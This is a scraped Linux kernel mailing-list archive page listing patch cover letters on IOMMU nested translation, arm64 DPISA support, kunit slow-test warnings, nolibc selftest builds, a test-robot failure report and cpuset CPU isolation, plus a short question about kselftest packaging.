1/2 - Add the nested_parent flag in patch 07 and sanitize it for nested domain allocation (Baolu) - Fail the nested domain allocation if dirty tracking flag is set v6: https://lore.kernel.org/linux-iommu/20231020093246.17015-1-yi.l.liu@intel.c… - Add Kevin's r-b for patch 1 and 8 - Drop Kevin's r-b for patch 7 - Address comments from Kevin - Split the VT-d nesting series into two parts 1/2 and 2/2 v5: https://lore.kernel.org/linux-iommu/20230921075431.125239-1-yi.l.liu@intel.… - Add Kevin's r-b for patch 2, 3 ,5 8, 10 - Drop enforce_cache_coherency callback from the nested type domain ops (Kevin) - Remove duplicate agaw check in patch 04 (Kevin) - Remove duplicate domain_update_iommu_cap() in patch 06 (Kevin) - Check parent's force_snooping to set pgsnp in the pasid entry (Kevin) - uapi data structure check (Kevin) - Simplify the errata handling as user can allocate nested parent domain v4: https://lore.kernel.org/linux-iommu/20230724111335.107427-1-yi.l.liu@intel.… - Remove ascii art tables (Jason) - Drop EMT (Tina, Jason) - Drop MTS and related definitions (Kevin) - Rename macro IOMMU_VTD_PGTBL_ to IOMMU_VTD_S1_ (Kevin) - Rename struct iommu_hwpt_intel_vtd_ to iommu_hwpt_vtd_ (Kevin) - Rename struct iommu_hwpt_intel_vtd to iommu_hwpt_vtd_s1 (Kevin) - Put the vendor specific hwpt alloc data structure before enuma iommu_hwpt_type (Kevin) - Do not trim the higher page levels of S2 domain in nested domain attachment as the S2 domain may have been used independently. (Kevin) - Remove the first-stage pgd check against the maximum address of s2_domain as hw can check it anyhow. It makes sense to check every pfns used in the stage-1 page table. But it cannot make it. So just leave it to hw. (Kevin) - Split the iotlb flush part into an order of uapi, helper and callback implementation (Kevin) - Change the policy of VT-d nesting errata, disallow RO mapping once a domain is used as parent domain of a nested domain. This removes the nested_users counting. (Kevin) - Minor fix for "make htmldocs" v3: https://lore.kernel.org/linux-iommu/20230511145110.27707-1-yi.l.liu@intel.c… - Further split the patches into an order of adding helpers for nested domain, iotlb flush, nested domain attachment and nested domain allocation callback, then report the hw_info to userspace. - Add batch support in cache invalidation from userspace - Disallow nested translation usage if RO mappings exists in stage-2 domain due to errata on readonly mappings on Sapphire Rapids platform. v2: https://lore.kernel.org/linux-iommu/20230309082207.612346-1-yi.l.liu@intel.… - The iommufd infrastructure is split to be separate series. v1: https://lore.kernel.org/linux-iommu/20230209043153.14964-1-yi.l.liu@intel.c… Regards, Yi Liu Lu Baolu (5): iommu/vt-d: Extend dmar_domain to support nested domain iommu/vt-d: Add helper for nested domain allocation iommu/vt-d: Add helper to setup pasid nested translation iommu/vt-d: Add nested domain allocation iommu/vt-d: Disallow read-only mappings to nest parent domain Yi Liu (3): iommufd: Add data structure for Intel VT-d stage-1 domain allocation iommu/vt-d: Make domain attach helpers to be extern iommu/vt-d: Set the nested domain to a device drivers/iommu/intel/Makefile | 2 +- drivers/iommu/intel/iommu.c | 60 +++++++++--------- drivers/iommu/intel/iommu.h | 46 ++++++++++++-- drivers/iommu/intel/nested.c | 117 +++++++++++++++++++++++++++++++++++ drivers/iommu/intel/pasid.c | 112 +++++++++++++++++++++++++++++++++ drivers/iommu/intel/pasid.h | 2 + include/uapi/linux/iommufd.h | 42 ++++++++++++- 7 files changed, 345 insertions(+), 36 deletions(-) create mode 100644 drivers/iommu/intel/nested.c -- 2.34.1

1 year, 11 months

3
11
0 0

[PATCH v7 00/10] iommufd: Add nesting infrastructure (part 1/2)

by Yi Liu

Nested translation is a hardware feature that is supported by many modern IOMMU hardwares. It has two stages of address translations to get access to the physical address. A stage-1 translation table is owned by userspace (e.g. by a guest OS), while a stage-2 is owned by kernel. Any change to a stage-1 translation table should be followed by an IOTLB invalidation. Take Intel VT-d as an example, the stage-1 translation table is guest I/O page table. As the below diagram shows, the guest I/O page table pointer in GPA (guest physical address) is passed to host and be used to perform a stage-1 translation. Along with it, a modification to present mappings in the guest I/O page table should be followed by an IOTLB invalidation. .-------------. .---------------------------. | vIOMMU | | Guest I/O page table | | | '---------------------------' .----------------/ | PASID Entry |--- PASID cache flush --+ '-------------' | | | V | | I/O page table pointer in GPA '-------------' Guest ------| Shadow |---------------------------|-------- v v v Host .-------------. .------------------------. | pIOMMU | | FS for GIOVA->GPA | | | '------------------------' .----------------/ | | PASID Entry | V (Nested xlate) '----------------\.----------------------------------. | | | SS for GPA->HPA, unmanaged domain| | | '----------------------------------' '-------------' Where: - FS = First stage page tables - SS = Second stage page tables <Intel VT-d Nested translation> In IOMMUFD, all the translation tables are tracked by hw_pagetable (hwpt) and each hwpt is backed by an iommu_domain allocated from an iommu driver. So in this series hw_pagetable and iommu_domain means the same thing if no special note. IOMMUFD has already supported allocating hw_pagetable linked with an IOAS. However, a nesting case requires IOMMUFD to allow allocating hw_pagetable with driver specific parameters and interface to sync stage-1 IOTLB as user owns the stage-1 translation table. This series is based on the iommu hw info reporting series [1] and nested parent domain allocation [2]. It first extends domain_alloc_user to allocate hwpt with user data by allowing the IOMMUFD internal infrastructure to accept user_data and parent hwpt, relaying the user_data/parent to the iommu core to allocate IOMMU_DOMAIN_NESTED. And it then extends the IOMMU_HWPT_ALLOC ioctl to accept user data and a parent hwpt ID. Note that this series is the part-1 set of a two-part nesting series. It does not include the cache invalidation interface, which will be added in the part 2. Complete code can be found in [3], it is on top of Joao's dirty page tracking v6 series and fix patches. QEMU could can be found in [4]. At last, this is a team work together with Nicolin Chen, Lu Baolu. Thanks them for the help. ^_^. Look forward to your feedbacks. [1] https://lore.kernel.org/linux-iommu/20230818101033.4100-1-yi.l.liu@intel.co… - merged [2] https://lore.kernel.org/linux-iommu/20230928071528.26258-1-yi.l.liu@intel.c… - merged [3] https://github.com/yiliu1765/iommufd/tree/iommufd_nesting [4] https://github.com/yiliu1765/qemu/tree/zhenzhong/wip/iommufd_nesting_rfcv1 Change log: v7: - Fix a bug from Kevin - Add r-b from Kevin - Adopt Jason's suggestion to plumb user_data pointer to hwpt_paging allocation https://lore.kernel.org/linux-iommu/20231024173009.GQ3952@nvidia.com/ - Select bit 6 for __IOMMU_DOMAIN_NESTED (Jason) - Other compiling fixes per linux-next integration (Jason/Joao) - Move patch "iommu: Pass in parent domain with user_data to domain_alloc_user op" right before "iommufd: Add a nested HW pagetable object" (Jason) v6: https://lore.kernel.org/linux-iommu/20231024150609.46884-1-yi.l.liu@intel.c… - Rebase on top of Joao's dirty tracking series: https://lore.kernel.org/linux-iommu/20231024135109.73787-1-joao.m.martins@o… - Rebase on top of the enforce_cache_coherency removal patch: https://lore.kernel.org/linux-iommu/ZTcAhwYjjzqM0A5M@Asurada-Nvidia/ - Add parent and user_data check in iommu driver before the driver actually supports the two input. This can make better bisect support, the change is in patch 02. v5: https://lore.kernel.org/linux-iommu/20231020091946.12173-1-yi.l.liu@intel.c… - Split the iommufd nesting series into two parts of alloc_user and invalidation (Jason) - Split IOMMUFD_OBJ_HW_PAGETABLE to IOMMUFD_OBJ_HWPT_PAGING/_NESTED, and do the same with the structures/alloc()/abort()/destroy(). Reworked the selftest accordingly too. (Jason) - Move hwpt/data_type into struct iommu_user_data from standalone op arguments. (Jason) - Rename hwpt_type to be data_type, the HWPT_TYPE to be HWPT_ALLOC_DATA, _TYPE_DEFAULT to be _ALLOC_DATA_NONE (Jason, Kevin) - Rename iommu_copy_user_data() to iommu_copy_struct_from_user() (Kevin) - Add macro to the iommu_copy_struct_from_user() to calculate min_size (Jason) - Fix two bugs spotted by ZhaoYan v4: https://lore.kernel.org/linux-iommu/20230921075138.124099-1-yi.l.liu@intel.… - Separate HWPT alloc/destroy/abort functions between user-managed HWPTs and kernel-managed HWPTs - Rework invalidate uAPI to be a multi-request array-based design - Add a struct iommu_user_data_array and a helper for driver to sanitize and copy the entry data from user space invalidation array - Add a patch fixing TEST_LENGTH() in selftest program - Drop IOMMU_RESV_IOVA_RANGES patches - Update kdoc and inline comments - Drop the code to add IOMMU_RESV_SW_MSI to kernel-managed HWPT in nested translation, this does not change the rule that resv regions should only be added to the kernel-managed HWPT. The IOMMU_RESV_SW_MSI stuff will be added in later series as it is needed only by SMMU so far. v3: https://lore.kernel.org/linux-iommu/20230724110406.107212-1-yi.l.liu@intel.… - Add new uAPI things in alphabetical order - Pass in "enum iommu_hwpt_type hwpt_type" to op->domain_alloc_user for sanity, replacing the previous op->domain_alloc_user_data_len solution - Return ERR_PTR from domain_alloc_user instead of NULL - Only add IOMMU_RESV_SW_MSI to kernel-managed HWPT in nested translation (Kevin) - Add IOMMU_RESV_IOVA_RANGES to report resv iova ranges to userspace hence userspace is able to exclude the ranges in the stage-1 HWPT (e.g. guest I/O page table). (Kevin) - Add selftest coverage for the new IOMMU_RESV_IOVA_RANGES ioctl - Minor changes per Kevin's inputs v2: https://lore.kernel.org/linux-iommu/20230511143844.22693-1-yi.l.liu@intel.c… - Add union iommu_domain_user_data to include all user data structures to avoid passing void * in kernel APIs. - Add iommu op to return user data length for user domain allocation - Rename struct iommu_hwpt_alloc::data_type to be hwpt_type - Store the invalidation data length in iommu_domain_ops::cache_invalidate_user_data_len - Convert cache_invalidate_user op to be int instead of void - Remove @data_type in struct iommu_hwpt_invalidate - Remove out_hwpt_type_bitmap in struct iommu_hw_info hence drop patch 08 of v1 v1: https://lore.kernel.org/linux-iommu/20230309080910.607396-1-yi.l.liu@intel.… Thanks, Yi Liu Jason Gunthorpe (2): iommufd: Rename IOMMUFD_OBJ_HW_PAGETABLE to IOMMUFD_OBJ_HWPT_PAGING iommufd/device: Wrap IOMMUFD_OBJ_HWPT_PAGING-only configurations Lu Baolu (1): iommu: Add IOMMU_DOMAIN_NESTED Nicolin Chen (6): iommufd: Derive iommufd_hwpt_paging from iommufd_hw_pagetable iommufd: Share iommufd_hwpt_alloc with IOMMUFD_OBJ_HWPT_NESTED iommufd: Add a nested HW pagetable object iommu: Add iommu_copy_struct_from_user helper iommufd/selftest: Add nested domain allocation for mock domain iommufd/selftest: Add coverage for IOMMU_HWPT_ALLOC with nested HWPTs Yi Liu (1): iommu: Pass in parent domain with user_data to domain_alloc_user op drivers/iommu/amd/iommu.c | 9 +- drivers/iommu/intel/iommu.c | 7 +- drivers/iommu/iommufd/device.c | 156 ++++++++--- drivers/iommu/iommufd/hw_pagetable.c | 265 +++++++++++++----- drivers/iommu/iommufd/iommufd_private.h | 70 +++-- drivers/iommu/iommufd/iommufd_test.h | 18 ++ drivers/iommu/iommufd/main.c | 10 +- drivers/iommu/iommufd/selftest.c | 153 ++++++++-- drivers/iommu/iommufd/vfio_compat.c | 6 +- include/linux/iommu.h | 71 ++++- include/uapi/linux/iommufd.h | 31 +- tools/testing/selftests/iommu/iommufd.c | 115 ++++++++ .../selftests/iommu/iommufd_fail_nth.c | 3 +- tools/testing/selftests/iommu/iommufd_utils.h | 30 +- 14 files changed, 758 insertions(+), 186 deletions(-) -- 2.34.1

1 year, 11 months

2
11
0 0

[PATCH 0/5] selftests/nolibc: various build improvements

by Thomas Weißschuh

With the out-of-tree builds it's possible do incremental tests fairly fast: $ time ./run-tests.sh i386: 160 test(s): 160 passed, 0 skipped, 0 failed => status: success x86_64: 160 test(s): 160 passed, 0 skipped, 0 failed => status: success arm64: 160 test(s): 160 passed, 0 skipped, 0 failed => status: success arm: 160 test(s): 160 passed, 0 skipped, 0 failed => status: success mips: 160 test(s): 159 passed, 1 skipped, 0 failed => status: warning ppc: 160 test(s): 160 passed, 0 skipped, 0 failed => status: success ppc64: 160 test(s): 160 passed, 0 skipped, 0 failed => status: success ppc64le: 160 test(s): 160 passed, 0 skipped, 0 failed => status: success riscv: 160 test(s): 160 passed, 0 skipped, 0 failed => status: success s390: 160 test(s): 159 passed, 1 skipped, 0 failed => status: warning loongarch: 160 test(s): 159 passed, 1 skipped, 0 failed => status: warning real 3m11.735s user 4m20.354s sys 1m11.880s This is with an incremental kernel rebuild and testrun inside qemu. Note: "selftests/nolibc: use qemu-system-ppc64 also for ppc64le" was already submitted standalone but I included it here again for easier testing and review. Signed-off-by: Thomas Weißschuh <linux(a)weissschuh.net> --- Thomas Weißschuh (5): selftests/nolibc: use qemu-system-ppc64 also for ppc64le selftests/nolibc: use EFI -bios for LoongArch qemu selftests/nolibc: anchor paths in $(srcdir) if possible selftests/nolibc: support out-of-tree builds selftests/nolibc: generate config automatically tools/testing/selftests/nolibc/Makefile | 36 +++++++++++++++++++++------------ 1 file changed, 23 insertions(+), 13 deletions(-) --- base-commit: d423dcd4ac21041618ab83455c09440d76dbc099 change-id: 20231010-nolibc-out-of-tree-b6684c6cf0e3 Best regards, -- Thomas Weißschuh <linux(a)weissschuh.net>

1 year, 11 months

4
14
0 0

[PATCH 00/21] arm64: Support for 2023 DPISA extensions

by Mark Brown

This series enables support for the data processing extensions in the newly released 2023 architecture, this is mainly support for 8 bit floating point formats. Most of the extensions only introduce new instructions and therefore only require hwcaps but there is a new EL0 visible control register FPMR used to control the 8 bit floating point formats, we need to manage traps for this and context switch it. The sharing of floating point save code between the host and guest kernels slightly complicates the introduction of KVM support, we first introduce host support with some placeholders for KVM then replace those with the actual KVM support. I've not added test coverage for ptrace, I've got a not quite finished test program which exercises all the FP ptrace interfaces and their interactions together, my plan is to cover it there rather than add another tiny test program that duplicates the boilerplace for tracing a target and doesn't actually run the traced program. Signed-off-by: Mark Brown <broonie(a)kernel.org> --- Mark Brown (21): arm64/sysreg: Add definition for ID_AA64PFR2_EL1 arm64/sysreg: Update ID_AA64ISAR2_EL1 defintion for DDI0601 2023-09 arm64/sysreg: Add definition for ID_AA64ISAR3_EL1 arm64/sysreg: Add definition for ID_AA64FPFR0_EL1 arm64/sysreg: Update ID_AA64SMFR0_EL1 definition for DDI0601 2023-09 arm64/sysreg: Update SCTLR_EL1 for DDI0601 2023-09 arm64/sysreg: Update HCRX_EL2 definition for DDI0601 2023-09 arm64/sysreg: Add definition for FPMR arm64/cpufeature: Hook new identification registers up to cpufeature arm64/fpsimd: Enable host kernel access to FPMR arm64/fpsimd: Support FEAT_FPMR arm64/signal: Add FPMR signal handling arm64/ptrace: Expose FPMR via ptrace KVM: arm64: Add newly allocated ID registers to register descriptions KVM: arm64: Support FEAT_FPMR for guests arm64/hwcap: Define hwcaps for 2023 DPISA features kselftest/arm64: Handle FPMR context in generic signal frame parser kselftest/arm64: Add basic FPMR test kselftest/arm64: Add 2023 DPISA hwcap test coverage KVM: arm64: selftests: Document feature registers added in 2023 extensions KVM: arm64: selftests: Teach get-reg-list about FPMR Documentation/arch/arm64/elf_hwcaps.rst | 49 +++++ arch/arm64/include/asm/cpu.h | 3 + arch/arm64/include/asm/cpufeature.h | 5 + arch/arm64/include/asm/fpsimd.h | 2 + arch/arm64/include/asm/hwcap.h | 15 ++ arch/arm64/include/asm/kvm_arm.h | 4 +- arch/arm64/include/asm/kvm_host.h | 3 + arch/arm64/include/asm/processor.h | 2 + arch/arm64/include/uapi/asm/hwcap.h | 15 ++ arch/arm64/include/uapi/asm/sigcontext.h | 8 + arch/arm64/kernel/cpufeature.c | 72 +++++++ arch/arm64/kernel/cpuinfo.c | 18 ++ arch/arm64/kernel/fpsimd.c | 13 ++ arch/arm64/kernel/ptrace.c | 42 ++++ arch/arm64/kernel/signal.c | 59 ++++++ arch/arm64/kvm/fpsimd.c | 19 +- arch/arm64/kvm/hyp/include/hyp/switch.h | 7 +- arch/arm64/kvm/sys_regs.c | 17 +- arch/arm64/tools/cpucaps | 1 + arch/arm64/tools/sysreg | 153 ++++++++++++++- include/uapi/linux/elf.h | 1 + tools/testing/selftests/arm64/abi/hwcap.c | 217 +++++++++++++++++++++ tools/testing/selftests/arm64/signal/.gitignore | 1 + .../arm64/signal/testcases/fpmr_siginfo.c | 82 ++++++++ .../selftests/arm64/signal/testcases/testcases.c | 8 + .../selftests/arm64/signal/testcases/testcases.h | 1 + tools/testing/selftests/kvm/aarch64/get-reg-list.c | 11 +- 27 files changed, 810 insertions(+), 18 deletions(-) --- base-commit: 05d3ef8bba77c1b5f98d941d8b2d4aeab8118ef1 change-id: 20231003-arm64-2023-dpisa-2f3d25746474 Best regards, -- Mark Brown <broonie(a)kernel.org>

1 year, 11 months

1
21
0 0

[linux-next:master] [selftests] 5b45a75377: kernel-selftests.uevent.uevent_filtering.fail

by kernel test robot

Hello, kernel test robot noticed "kernel-selftests.uevent.uevent_filtering.fail" on: commit: 5b45a753776be5d21cf395ec97e81c9187fbeaca ("selftests: uevent filtering: fix return on error in uevent_listener") https://git.kernel.org/cgit/linux/kernel/git/next/linux-next.git master [test failed on linux-next/master 2030579113a1b1b5bfd7ff24c0852847836d8fd1] in testcase: kernel-selftests version: kernel-selftests-x86_64-60acb023-1_20230329 with following parameters: group: group-03 compiler: gcc-12 test machine: 36 threads 1 sockets Intel(R) Core(TM) i9-10980XE CPU @ 3.00GHz (Cascade Lake) with 32G memory (please refer to attached dmesg/kmsg for entire log/backtrace) we also noticed this issue does not always happen. as below, we saw 15 failures out of 50 runs. however, parent keeps passing. 37013b557b7f39e6 5b45a753776be5d21cf395ec97e ---------------- --------------------------- fail:runs %reproduction fail:runs | | | :50 30% 15:50 kernel-selftests.uevent.uevent_filtering.fail If you fix the issue in a separate patch/commit (i.e. not just a new version of the same patch/commit), kindly add following tags | Reported-by: kernel test robot <oliver.sang(a)intel.com> | Closes: https://lore.kernel.org/oe-lkp/202310261454.46082aaa-oliver.sang@intel.com TAP version 13 1..1 # timeout set to 300 # selftests: uevent: uevent_filtering # TAP version 13 # 1..1 # # Starting 1 tests from 1 test cases. # # RUN global.uevent_filtering ... # add@/devices/virtual/mem/fullACTION=addDEVPATH=/devices/virtual/mem/fullSUBSYSTEM=memSYNTH_UUID=0MAJOR=1MINOR=7DEVNAME=fullDEVMODE=0666SEQNUM=3532 # add@/devices/virtual/mem/fullACTION=addDEVPATH=/devices/virtual/mem/fullSUBSYSTEM=memSYNTH_UUID=0MAJOR=1MINOR=7DEVNAME=fullDEVMODE=0666SEQNUM=3546 # add@/devices/virtual/mem/fullACTION=addDEVPATH=/devices/virtual/mem/fullSUBSYSTEM=memSYNTH_UUID=0MAJOR=1MINOR=7DEVNAME=fullDEVMODE=0666SEQNUM=3556 # add@/devices/virtual/mem/fullACTION=addDEVPATH=/devices/virtual/mem/fullSUBSYSTEM=memSYNTH_UUID=0MAJOR=1MINOR=7DEVNAME=fullDEVMODE=0666SEQNUM=3585 # add@/devices/virtual/mem/fullACTION=addDEVPATH=/devices/virtual/mem/fullSUBSYSTEM=memSYNTH_UUID=0MAJOR=1MINOR=7DEVNAME=fullDEVMODE=0666SEQNUM=3595 # No buffer space available - Failed to receive uevent # # uevent_filtering.c:479:uevent_filtering:Expected 0 (0) == ret (-1) # # uevent_filtering: Test failed at step #10 # # FAIL global.uevent_filtering # not ok 1 global.uevent_filtering # # FAILED: 0 / 1 tests passed. # # Totals: pass:0 fail:1 xfail:0 xpass:0 skip:0 error:0 not ok 1 selftests: uevent: uevent_filtering # exit=1 The kernel config and materials to reproduce are available at: https://download.01.org/0day-ci/archive/20231026/202310261454.46082aaa-oliv… -- 0-DAY CI Kernel Test Service https://github.com/intel/lkp-tests/wiki

1 year, 11 months

2
1
0 0

[PATCH v2] kunit: Warn if tests are slow

by Maxime Ripard

Kunit recently gained support to setup attributes, the first one being the speed of a given test, then allowing to filter out slow tests. A slow test is defined in the documentation as taking more than one second. There's an another speed attribute called "super slow" but whose definition is less clear. Add support to the test runner to check the test execution time, and report tests that should be marked as slow but aren't. Signed-off-by: Maxime Ripard <mripard(a)kernel.org> --- To: Brendan Higgins <brendan.higgins(a)linux.dev> To: David Gow <davidgow(a)google.com> Cc: Jani Nikula <jani.nikula(a)linux.intel.com> Cc: Rae Moar <rmoar(a)google.com> Cc: linux-kselftest(a)vger.kernel.org Cc: kunit-dev(a)googlegroups.com Cc: linux-kernel(a)vger.kernel.org Changes from v1: - Split the patch out of the series - Change to trigger the warning only if the runtime is twice the threshold (Jani, Rae) - Split the speed check into a separate function (Rae) - Link: https://lore.kernel.org/all/20230911-kms-slow-tests-v1-0-d3800a69a1a1@kerne… --- lib/kunit/test.c | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/lib/kunit/test.c b/lib/kunit/test.c index 49698a168437..a1d5dd2bf87d 100644 --- a/lib/kunit/test.c +++ b/lib/kunit/test.c @@ -372,6 +372,25 @@ void kunit_init_test(struct kunit *test, const char *name, char *log) } EXPORT_SYMBOL_GPL(kunit_init_test); +#define KUNIT_SPEED_SLOW_THRESHOLD_S 1 + +static void kunit_run_case_check_speed(struct kunit *test, + struct kunit_case *test_case, + struct timespec64 duration) +{ + enum kunit_speed speed = test_case->attr.speed; + + if (duration.tv_sec < (2 * KUNIT_SPEED_SLOW_THRESHOLD_S)) + return; + + if (speed == KUNIT_SPEED_VERY_SLOW || speed == KUNIT_SPEED_SLOW) + return; + + kunit_warn(test, + "Test should be marked slow (runtime: %lld.%09lds)", + duration.tv_sec, duration.tv_nsec); +} + /* * Initializes and runs test case. Does not clean up or do post validations. */ @@ -379,6 +398,8 @@ static void kunit_run_case_internal(struct kunit *test, struct kunit_suite *suite, struct kunit_case *test_case) { + struct timespec64 start, end; + if (suite->init) { int ret; @@ -390,7 +411,13 @@ static void kunit_run_case_internal(struct kunit *test, } } + ktime_get_ts64(&start); + test_case->run_case(test); + + ktime_get_ts64(&end); + + kunit_run_case_check_speed(test, test_case, timespec64_sub(end, start)); } static void kunit_case_internal_cleanup(struct kunit *test) -- 2.41.0

1 year, 11 months

3
5
0 0

[PATCH v7 0/8] Add Intel VT-d nested translation (part 1/2)

by Yi Liu

This is the first part to add Intel VT-d nested translation based on IOMMUFD nesting infrastructure. As the iommufd nesting infrastructure series[1], iommu core supports new ops to allocate domains with user data. For nesting, the user data is vendor-specific, IOMMU_HWPT_DATA_VTD_S1 is defined for the Intel VT-d stage-1 page table, it will be used in the stage-1 domain allocation path. struct iommu_hwpt_vtd_s1 is defined to pass user_data for the Intel VT-d stage-1 domain allocation. This series does not have the cache invalidation path, it would be added in part 2/2. The first Intel platform supporting nested translation is Sapphire Rapids which, unfortunately, has a hardware errata [2] requiring special treatment. This errata happens when a stage-1 page table page (either level) is located in a stage-2 read-only region. In that case the IOMMU hardware may ignore the stage-2 RO permission and still set the A/D bit in stage-1 page table entries during page table walking. A flag IOMMU_HW_INFO_VTD_ERRATA_772415_SPR17 is introduced to report this errata to userspace. With that restriction the user should either disable nested translation to favor RO stage-2 mappings or ensure no RO stage-2 mapping to enable nested translation. Intel-iommu driver is armed with necessary checks to prevent such mix in patch8 of this series. Qemu currently does add RO mappings though. The vfio agent in Qemu simply maps all valid regions in the GPA address space which certainly includes RO regions e.g. vbios. In reality we don't know a usage relying on DMA reads from the BIOS region. Hence finding a way to skip RO regions (e.g. via a discard manager) in Qemu might be an acceptable tradeoff. The actual change needs more discussion in Qemu community. For now we just hacked Qemu to test. Complete code can be found in [3], corresponding QEMU could can be found in [4]. [1] https://lore.kernel.org/linux-iommu/20231024150609.46884-1-yi.l.liu@intel.c… [2] https://www.intel.com/content/www/us/en/content-details/772415/content-deta… [3] https://github.com/yiliu1765/iommufd/tree/iommufd_nesting [4] https://github.com/yiliu1765/qemu/tree/zhenzhong/wip/iommufd_nesting_rfcv1 Change log: v7: - Rebase on top of latest iommufd nesting part 1/2 - Add the nested_parent flag in patch 07 and sanitize it for nested domain allocation (Baolu) - Fail the nested domain allocation if dirty tracking flag is set v6: https://lore.kernel.org/linux-iommu/20231020093246.17015-1-yi.l.liu@intel.c… - Add Kevin's r-b for patch 1 and 8 - Drop Kevin's r-b for patch 7 - Address comments from Kevin - Split the VT-d nesting series into two parts 1/2 and 2/2 v5: https://lore.kernel.org/linux-iommu/20230921075431.125239-1-yi.l.liu@intel.… - Add Kevin's r-b for patch 2, 3 ,5 8, 10 - Drop enforce_cache_coherency callback from the nested type domain ops (Kevin) - Remove duplicate agaw check in patch 04 (Kevin) - Remove duplicate domain_update_iommu_cap() in patch 06 (Kevin) - Check parent's force_snooping to set pgsnp in the pasid entry (Kevin) - uapi data structure check (Kevin) - Simplify the errata handling as user can allocate nested parent domain v4: https://lore.kernel.org/linux-iommu/20230724111335.107427-1-yi.l.liu@intel.… - Remove ascii art tables (Jason) - Drop EMT (Tina, Jason) - Drop MTS and related definitions (Kevin) - Rename macro IOMMU_VTD_PGTBL_ to IOMMU_VTD_S1_ (Kevin) - Rename struct iommu_hwpt_intel_vtd_ to iommu_hwpt_vtd_ (Kevin) - Rename struct iommu_hwpt_intel_vtd to iommu_hwpt_vtd_s1 (Kevin) - Put the vendor specific hwpt alloc data structure before enuma iommu_hwpt_type (Kevin) - Do not trim the higher page levels of S2 domain in nested domain attachment as the S2 domain may have been used independently. (Kevin) - Remove the first-stage pgd check against the maximum address of s2_domain as hw can check it anyhow. It makes sense to check every pfns used in the stage-1 page table. But it cannot make it. So just leave it to hw. (Kevin) - Split the iotlb flush part into an order of uapi, helper and callback implementation (Kevin) - Change the policy of VT-d nesting errata, disallow RO mapping once a domain is used as parent domain of a nested domain. This removes the nested_users counting. (Kevin) - Minor fix for "make htmldocs" v3: https://lore.kernel.org/linux-iommu/20230511145110.27707-1-yi.l.liu@intel.c… - Further split the patches into an order of adding helpers for nested domain, iotlb flush, nested domain attachment and nested domain allocation callback, then report the hw_info to userspace. - Add batch support in cache invalidation from userspace - Disallow nested translation usage if RO mappings exists in stage-2 domain due to errata on readonly mappings on Sapphire Rapids platform. v2: https://lore.kernel.org/linux-iommu/20230309082207.612346-1-yi.l.liu@intel.… - The iommufd infrastructure is split to be separate series. v1: https://lore.kernel.org/linux-iommu/20230209043153.14964-1-yi.l.liu@intel.c… Regards, Yi Liu Lu Baolu (5): iommu/vt-d: Extend dmar_domain to support nested domain iommu/vt-d: Add helper for nested domain allocation iommu/vt-d: Add helper to setup pasid nested translation iommu/vt-d: Add nested domain allocation iommu/vt-d: Disallow read-only mappings to nest parent domain Yi Liu (3): iommufd: Add data structure for Intel VT-d stage-1 domain allocation iommu/vt-d: Make domain attach helpers to be extern iommu/vt-d: Set the nested domain to a device drivers/iommu/intel/Makefile | 2 +- drivers/iommu/intel/iommu.c | 88 +++++++++++++++++---------- drivers/iommu/intel/iommu.h | 46 ++++++++++++-- drivers/iommu/intel/nested.c | 109 ++++++++++++++++++++++++++++++++++ drivers/iommu/intel/pasid.c | 112 +++++++++++++++++++++++++++++++++++ drivers/iommu/intel/pasid.h | 2 + include/uapi/linux/iommufd.h | 42 ++++++++++++- 7 files changed, 362 insertions(+), 39 deletions(-) create mode 100644 drivers/iommu/intel/nested.c -- 2.34.1

1 year, 11 months

3
17
0 0

Purpose of gen_tar

by Marcos Paulo de Souza

Hi, while testing a new patch on the livepatch kselftests, I was testing the gen_tar target and I figured that we only copy the resulting binaries to the final tar file. Per the kselftests documentation[1], the gen_tar target is used to package the tests to run "on different systems". But what if the different system has different libraries/library versions? Wouldn't it be a problem? This question came when I was working to build the livepatch modules as part of the kselftests testing suit. The plan was to just package the test scripts/programs/modules and then run the tests on a different system, likewise a different SLE version. Since the kernel would be different in this case, I expected that gen_tar would copy the module source files so they can be compiled on the target system. While the current approach can work when the selftests rely solely on shell scripts(cpufreq, kexec), those who compile userspace binaries (cgroup, alsa, sched, ...) may not work. Am I missing something? Is gen_tar only meant to copy the tests to be run on systems with the same libraries or with the libraries with the exactly the same version? Thanks in advance, Marcos [1]: https://www.kernel.org/doc/html/latest/dev-tools/kselftest.html

1 year, 11 months

3
2
0 0

[PATCH-cgroup 0/4] cgroup/cpuset: Improve CPU isolation in isolated partitions

by Waiman Long

Isolated cpuset partition can currently be created to contain an exclusive set of CPUs not used in other cgroups and with load balancing disabled to reduce interference from the scheduler. The main purpose of this isolated partition type is to dynamically emulate what can be done via the "isolcpus" boot command line option, specifically the default domain flag. One effect of the "isolcpus" option is to remove the isolated CPUs from the cpumasks of unbound workqueues since running work functions in an isolated CPU can be a major source of interference. Changing the unbound workqueue cpumasks can be done at run time by writing an appropriate cpumask without the isolated CPUs to /sys/devices/virtual/workqueue/cpumask. So one can set up an isolated cpuset partition and then write to the cpumask sysfs file to achieve similar level of CPU isolation. However, this manual process can be error prone. This patch series implements automatic exclusion of isolated CPUs from unbound workqueue cpumasks when an isolated cpuset partition is created and then adds those CPUs back when the isolated partition is destroyed. There are also other places in the kernel that look at the HK_FLAG_DOMAIN cpumask or other HK_FLAG_* cpumasks and exclude the isolated CPUs from certain actions to further reduce interference. CPUs in an isolated cpuset partition will not be able to avoid those interferences yet. That may change in the future as the need arises. Waiman Long (4): workqueue: Add workqueue_unbound_exclude_cpumask() to exclude CPUs from wq_unbound_cpumask selftests/cgroup: Minor code cleanup and reorganization of test_cpuset_prs.sh cgroup/cpuset: Keep track of CPUs in isolated partitions cgroup/cpuset: Take isolated CPUs out of workqueue unbound cpumask Documentation/admin-guide/cgroup-v2.rst | 10 +- include/linux/workqueue.h | 2 +- kernel/cgroup/cpuset.c | 237 +++++++++++++----- kernel/workqueue.c | 42 +++- .../selftests/cgroup/test_cpuset_prs.sh | 209 +++++++++------ 5 files changed, 350 insertions(+), 150 deletions(-) -- 2.39.3

1 year, 11 months

2
15
0 0

[PATCH] iommu/vt-d: Enhance capability check for nested parent domain allocation

by Yi Liu

